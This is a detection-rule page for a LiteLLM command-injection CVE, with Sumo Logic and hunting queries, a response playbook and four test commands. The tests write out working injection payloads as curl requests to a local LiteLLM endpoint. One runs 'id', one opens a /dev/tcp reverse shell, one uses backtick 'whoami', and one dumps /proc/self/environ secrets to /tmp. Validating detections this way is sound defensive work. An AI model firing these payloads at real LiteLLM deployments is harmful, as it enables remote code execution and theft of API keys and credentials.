Detect BerriAI LiteLLM Command Injection (CVE-2026-42271) in Sumo Logic CSE
Detects exploitation of CVE-2026-42271, a command injection vulnerability in BerriAI LiteLLM. An attacker who can reach the LiteLLM API or admin interface may inject OS commands that execute under the LiteLLM process context, leading to remote code execution. The vulnerability is tracked under CWE-78 (OS Command Injection) and CWE-77 (Command Injection) and is listed as actively exploited in CISA KEV.
MITRE ATT&CK
- Tactic
- Execution Persistence Lateral Movement
Sumo Detection Query
_sourceCategory=endpoint* OR _sourceCategory=linux* OR _sourceCategory=windows*
| where _raw matches /(?i)(uvicorn|gunicorn|litellm)/
| parse regex "(?i)(?:CommandLine|cmd|command)\s*[=:]\s*(?P<cmdline>[^\n\r]+)"
| urldecode cmdline as decoded_cmdline
| where decoded_cmdline matches /[;|&`]|\$\(|&&|\|\|| %0[aAdD]|%3[bB]|%7[cC]/
| eval injection_type = if(decoded_cmdline matches /;/, "semicolon",
if(decoded_cmdline matches /&&/, "logical_and",
if(decoded_cmdline matches /\|\|/, "logical_or",
if(decoded_cmdline matches /\$\(/, "cmd_substitution",
if(decoded_cmdline matches /`/, "backtick", "pipe_or_encoded")))))
| count by _sourceHost, _sourceCategory, cmdline, decoded_cmdline, injection_type
| order by _count descSumo Logic query identifying command injection patterns in process command lines on hosts running LiteLLM-related services, with URL decoding to catch encoded payloads targeting CVE-2026-42271.
Data Sources
Required Tables
False Positives & Tuning
- Benign administrative scripts that include pipe or semicolon characters in legitimate command arguments
- Log shipping agents that encode process metadata containing special characters
- Developer workstations running LiteLLM locally with test harnesses that use shell metacharacters
Other platforms for CVE-2026-42271
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1LiteLLM API Command Injection via Model Parameter
Expected signal: Process creation event showing sh or bash child process under the uvicorn/gunicorn parent with command line containing the injected id command
- Test 2LiteLLM Out-of-Band Command Injection with Reverse Shell Attempt
Expected signal: Network connection event showing outbound TCP to 127.0.0.1:9999 from the LiteLLM process, plus a bash process with -i flag spawned from the Python parent
- Test 3LiteLLM Config Endpoint Command Injection via Backtick Substitution
Expected signal: Process creation event with backtick command substitution syntax in command line, spawned from the LiteLLM Python process
- Test 4Post-Exploitation Credential Harvesting via LiteLLM Injection
Expected signal: Process creation event showing cat and tr commands spawned from LiteLLM parent, with file write event to /tmp/cve42271_env.txt
Response Playbook
Triage
- Identify the LiteLLM instance version by checking process arguments or the /health or /version API endpoint; confirm whether it is below v1.83.7-stable (the patched release).
- Review web/proxy access logs for the LiteLLM service port (default 4000) for requests containing URL-encoded or raw shell metacharacters (;, |, &&, $(), %0a) in path, query string, or POST body parameters.
- Correlate the suspicious request's source IP with threat intelligence feeds and check whether it is an internal service account, known partner, or external unknown host.
- Inspect OS-level process tree on the LiteLLM host at the time of the alert to identify any unexpected child processes spawned by the uvicorn/gunicorn/python parent.
Containment
- Immediately isolate the affected LiteLLM host or container from the network if active exploitation is confirmed, preventing lateral movement or data exfiltration.
- Rotate all secrets accessible to the LiteLLM process (API keys, database credentials, Vault tokens) as the injected command may have exfiltrated them.
- Block the attacker's source IP at the perimeter firewall and WAF, and revoke any authentication tokens issued to that client.
Evidence Collection
- Capture a full memory dump or container snapshot of the LiteLLM process before termination to preserve in-memory indicators, injected payloads, and any established reverse shells.
- Collect and preserve web server access logs, application logs, and OS audit logs (auditd/syslog/Windows Event Log) covering the 24-hour window before and after the first suspicious request.
- Export the process creation events (with full command lines) from the EDR platform for the affected host for the exploitation timeframe.
Escalation Criteria
- !Escalate immediately if any child process initiated an outbound network connection, indicating a reverse shell or data exfiltration attempt.
- !Escalate if the LiteLLM process had access to cloud provider metadata services (e.g., AWS IMDS, GCP metadata) or Vault credentials, as these may have been compromised and require cloud-wide credential rotation.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Web access logs for the LiteLLM proxy port (default 4000) containing shell metacharacters in request parameters - >
OS process creation logs showing unexpected child processes (bash, sh, curl, wget, nc) under the uvicorn/gunicorn/python parent PID - >
Auditd EXECVE records or Windows Security Event ID 4688 entries capturing full command lines of injected commands - >
Network flow records showing outbound connections from the LiteLLM host to attacker-controlled IPs after the injection event
Tuning Guidance
Reduce false positives by baselining the set of legitimate child processes that LiteLLM typically spawns in your environment (e.g., specific model backend subprocesses) and excluding those by exact process name and command line hash. Additionally, scope the detection to hosts or containers tagged with a 'litellm' or 'ai-proxy' asset label rather than monitoring all Python processes organization-wide. If LiteLLM runs in a container, consider restricting detection to the container's network namespace and excluding developer workstations entirely.
Hunting Queries
Hunt for any process lineage where a Python/uvicorn/gunicorn parent spawns interpreter or network utility children over the past 7 days, to identify stealthy or delayed exploitation of CVE-2026-42271.
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName in~ ("python", "python3", "uvicorn", "gunicorn")
| where FileName in~ ("sh", "bash", "curl", "wget", "nc", "ncat", "python", "python3", "perl", "ruby")
| summarize count(), make_set(ProcessCommandLine), make_set(RemoteIP) by DeviceName, InitiatingProcessFileName, FileName, bin(TimeGenerated, 1h)
| where count_ > 0
| order by TimeGenerated descindex=* sourcetype IN ("WinEventLog:Security", "linux_secure", "osquery:results")
(parent_process_name="python" OR parent_process_name="python3" OR parent_process_name="uvicorn" OR parent_process_name="gunicorn")
(process_name="sh" OR process_name="bash" OR process_name="curl" OR process_name="wget" OR process_name="nc" OR process_name="python")
| stats count min(_time) as first_seen max(_time) as last_seen values(command) as commands by host, parent_process_name, process_name
| sort -countAtomic Red Team Tests
Simulates an attacker sending a crafted POST request to the LiteLLM /chat/completions endpoint with a command injection payload embedded in the model parameter, exploiting CVE-2026-42271.
Command
curl -s -X POST http://127.0.0.1:4000/chat/completions -H 'Content-Type: application/json' -H 'Authorization: Bearer test-key' -d '{"model": "gpt-3.5-turbo; id > /tmp/cve_2026_42271_poc.txt", "messages": [{"role": "user", "content": "hello"}]}'Cleanup
rm -f /tmp/cve_2026_42271_poc.txtExpected Telemetry
Process creation event showing sh or bash child process under the uvicorn/gunicorn parent with command line containing the injected id command
Expected Detection
Alert on ProcessRollup2/DeviceProcessEvents showing bash/sh spawned from python/uvicorn parent with semicolon metacharacter in command line
Simulates a more sophisticated exploitation attempt that uses URL-encoded newline injection (%0a) to chain a reverse shell command, testing detection of encoded metacharacters.
Command
curl -s -X POST http://127.0.0.1:4000/v1/chat/completions -H 'Content-Type: application/json' -H 'Authorization: Bearer test-key' -d '{"model": "gpt-4%0abash -i >& /dev/tcp/127.0.0.1/9999 0>&1", "messages": [{"role": "user", "content": "test"}]}'Cleanup
pkill -f 'bash -i' 2>/dev/null; trueExpected Telemetry
Network connection event showing outbound TCP to 127.0.0.1:9999 from the LiteLLM process, plus a bash process with -i flag spawned from the Python parent
Expected Detection
Alert on network connection to unexpected destination combined with interactive bash process spawned from LiteLLM parent process
Tests command injection via the LiteLLM admin config or router endpoint using backtick command substitution syntax, which may bypass naive input filters.
Command
curl -s -X POST http://127.0.0.1:4000/config/update -H 'Content-Type: application/json' -H 'Authorization: Bearer sk-admin' -d '{"model_list": [{"model_name": "`whoami > /tmp/cve42271_backtick.txt`", "litellm_params": {"model": "gpt-3.5-turbo"}}]}'Cleanup
rm -f /tmp/cve42271_backtick.txtExpected Telemetry
Process creation event with backtick command substitution syntax in command line, spawned from the LiteLLM Python process
Expected Detection
Alert on child process from Python/uvicorn parent containing backtick metacharacter in ProcessCommandLine field
Simulates post-exploitation activity after initial command injection, where the attacker extracts environment variables (which may contain API keys) from the LiteLLM process environment.
Command
curl -s -X POST http://127.0.0.1:4000/chat/completions -H 'Content-Type: application/json' -H 'Authorization: Bearer test-key' -d '{"model": "gpt-3.5-turbo; cat /proc/self/environ | tr \\0 \\n > /tmp/cve42271_env.txt", "messages": [{"role": "user", "content": "hello"}]}'Cleanup
rm -f /tmp/cve42271_env.txtExpected Telemetry
Process creation event showing cat and tr commands spawned from LiteLLM parent, with file write event to /tmp/cve42271_env.txt
Expected Detection
Alert on suspicious child process chain (cat /proc/self/environ) spawned from LiteLLM parent, combined with file creation event in /tmp